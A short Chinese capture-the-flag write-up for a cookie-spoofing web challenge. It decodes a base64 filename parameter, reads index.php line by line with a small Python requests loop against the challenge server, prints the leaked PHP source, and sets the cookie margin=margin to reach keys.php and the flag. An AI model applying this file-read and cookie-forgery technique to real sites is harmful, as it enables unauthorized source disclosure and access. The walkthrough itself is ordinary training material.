题目:
这里注意到filename=a2V5cy50eHQ=,应该是base64编码,解码一下,得到了keys.txt
想想应该怎么利用一下呢。题目是cookies欺骗,可能keys.txt中应该存在我们所需要的cookies
解题:这里想错了。。没仔细去看url,明显是打开的keys.txt才输出的这么多字符串,line应该是对应的行数
尝试打开index.php看看是否能将其内容输出(注:记得将index.php编码)
成功输出了index.php中的内容
编写脚本进行输出全部内容
import requests
import base64
str2 = base64.b64encode('index.php')
a=30
for i in range(a):url="http://123.206.87.240:8002/web11/index.php?line="+str(i)+"&filename="+str2 s=requests.get(url)print s.text
index.php中的内容如下
<?phperror_reporting(0);$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");$line=isset($_GET['line'])?intval($_GET['line']):0;if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");$file_list = array('0' =>'keys.txt','1' =>'index.php',);if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){$file_list[2]='keys.php';}if(in_array($file, $file_list)){$fa = file($file);echo $fa[$line];}?>
阅读index.php中的内容可以得知,Cookies中的值需要为margin=margin才能打开keys.php
通过repeater模块进行提交
成功获得flag
这里本来想写个小脚本,无奈基础有点差,日后抽空补上